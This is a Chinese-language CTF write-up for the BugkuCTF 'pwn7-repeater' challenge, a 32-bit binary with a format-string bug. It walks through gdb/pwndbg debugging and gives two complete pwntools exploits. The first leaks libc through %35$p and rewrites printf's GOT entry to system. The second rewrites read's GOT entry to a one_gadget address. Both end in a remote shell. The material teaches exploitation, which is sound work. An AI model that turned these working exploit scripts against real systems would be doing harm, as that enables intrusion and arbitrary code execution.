BugkuCTF-PWN题pwn7-repeater详细讲解多解法
知識點
解題流程
方法一
查看文件類型:
32位文件
查看保護機制
只開啟了NX
32位IDA打開
偽碼:
0x70=112
0x64=100
發(fā)現(xiàn)該題目為典型的格式字符串漏洞。
解題思路
此題的大概思路如下:
1、找到libc_start_main在棧內的偏移,使用%p暴露該地址
2、利用LibcSearcher猜測使用的libc,算出libc基址
3、計算出此libc的system地址
4、把prinf的got表改為system地址
5、執(zhí)行system(’/bin/sh’)
具體調試
執(zhí)行gdb pwn7調試程序
使用b printf在printf處下斷點
輸入r執(zhí)行程序
程序提示用戶輸入
輸入123456回車
此時程序運行到printf語句停止
pwndbg調試
輸入stack 60命令查看棧情況
可以看到,在0xffffcf18處為之前輸入的123456
在0xffffcf8c處為libc_start_main+247
使用fmtarg 0xffffcf8c算出偏移,此處知道了為%35$p
使用fmtarg屬于懶人做法,需安裝在gdb里。
具體方法
exp:
#coding=utf-8 from pwn import * import sys #不清楚libc可以用這個 from LibcSearcher import * context.log_level="debug" context.terminal = ['gnome-terminal','-x','sh','-c']#本機環(huán)境 if sys.argv[1] == '0':p = process('./pwn7')#此處使用ldd pwn7查看本機使用啥libclibc = ELF("/lib/i386-linux-gnu/libc.so.6") #遠程環(huán)境 elif sys.argv[1] == '1':p = remote("114.67.246.176",19888)#直接采用本地的libc,嘗試失敗,使用了LibcSearcher#libc = ELF("/lib/i386-linux-gnu/libc.so.6")elf=ELF('./pwn7') printf_GOT=elf.got['printf'] log.success('printf_GOT'+hex(printf_GOT))#輸入%35$p,暴露libc_start_main的地址 p.sendafter('repeater','%35$p') p.recvuntil('0x',drop=True) libc_start_main=int(p.recv(8),16)-247#搜索可能的libc libc=LibcSearcher("__libc_start_main", libc_start_main) libc_base=libc_start_main-libc.dump('__libc_start_main') #libc基址 log.success('libc_base'+hex(libc_base)) printf=libc.dump('printf')+libc_base #此libc的printf地址 log.success('printf'+hex(printf)) system=libc.dump('system')+libc_base #此libc的system地址 log.success('system'+hex(system))#格式字符串漏洞套路 #由于64位下用戶可見的內存地址高位都帶有\(zhòng)x00(64位地址共16個16進制數(shù)),分段 ch0=system&0xffff ch1=(((system>>16)&0xffff)-ch0)&0xffff payload="%"+str(ch0)+"c%16$hn" payload+="%"+str(ch1)+"c%17$hn" payload=payload.ljust(40,'a')#改寫printf的got表,把prinf的got表改為system地址 payload+=p32(printf_GOT) payload+=p32(printf_GOT+2) p.send(payload) p.recvline() #這時已經(jīng)改寫好了,直接system('/bin/sh') p.send('/bin/sh\x00') p.interactive()方法二(需要加載libc版本)
由于方法二我不知道大佬加載的libc版本是哪一個,所以沒有成功實現(xiàn)
gdb里調試到printf(buf)
如圖 :
我通過read輸入的是flag 容易看出偏移是 0x18/4 = 6
(64位里偏移是6 + offset_rsp/8 32位里偏移則為offset_esp/4 )
或者直接經(jīng)典payload測 :
AAAA%p.%p.%p.%p.%p.%p.%p.%p.
然后數(shù)數(shù)
測出偏移后
第一步 : 先通過printf(buf) 泄露libc
payload = p32(read_got) + b"%6$s"
我這個是泄露的read的地址
泄露地址后通過 https://libc.blukat.me/下載相應版本的libc.so(當然也可以用LibcSearcher然后改寫got表為system的,再輸入bin/sh字符串,這里為one_gadget的打法)
第二步 : 改寫read的got表為one_gadget的地址
完整exp如下 :
from pwn import* from LibcSearcher import LibcSearcher context.log_level = "debug" elf = ELF("./pwn") libc = ELF("./libc.so") io = remote("114.67.246.176","19888") read_got = elf.got["read"] pd = b"%6$s" + p32(read_got) io.recvuntil("Do you know repeater?\n") io.send(pd) read_addr = u32(io.recv(8)[-4:]) #取后四位字節(jié) print(hex(read_addr)) libc_base = read_addr - libc.sym["read"] #libc.sym['read']會返回read()在libc里面的偏移 og = [0x3a822,0x3a829,0x5f075,0x5f076] one_gadget = libc_base + og[3] payload = fmtstr_payload(6,{read_got : one_gadget},write_size = "byte",) io.send(payload) io.interactive()運行腳本
得到flag{ec228e717282513a}
io.recv(8)[-4:]:取后四位字節(jié)
可能有小伙伴對于最后的fmtstr_payload有點疑惑:
fmtstr_payload 是pwntools里面的一個小工具 ,簡化格式化字符串payload的構造
fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一個參數(shù)表示格式化字符串的偏移;
第二個參數(shù)表示需要利用%n寫入的數(shù)據(jù),采用字典形式,我們要將printf的GOT數(shù)據(jù)改為system函數(shù)地址,就寫成{printfGOT: systemAddress};本題是將0804a048處改為0x2223322
第三個參數(shù)表示已經(jīng)輸出的字符個數(shù),這里沒有,為0,采用默認值即可;
第四個參數(shù)表示寫入方式,是按字節(jié)(byte)、按雙字節(jié)(short)還是按四字節(jié)(int),對應著hhn、hn和n,默認值是byte,即按hhn寫。
fmtstr_payload函數(shù)返回的就是payload
fmstr_payload 的官方文檔 : https://docs.pwntools.com/en/stable/fmtstr.html
總結
以上是生活随笔為你收集整理的BugkuCTF-PWN题pwn7-repeater详细讲解多解法的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: C语言 main 函数 - C语言零基础
- 下一篇: BugkuCTF-WEB题file_ge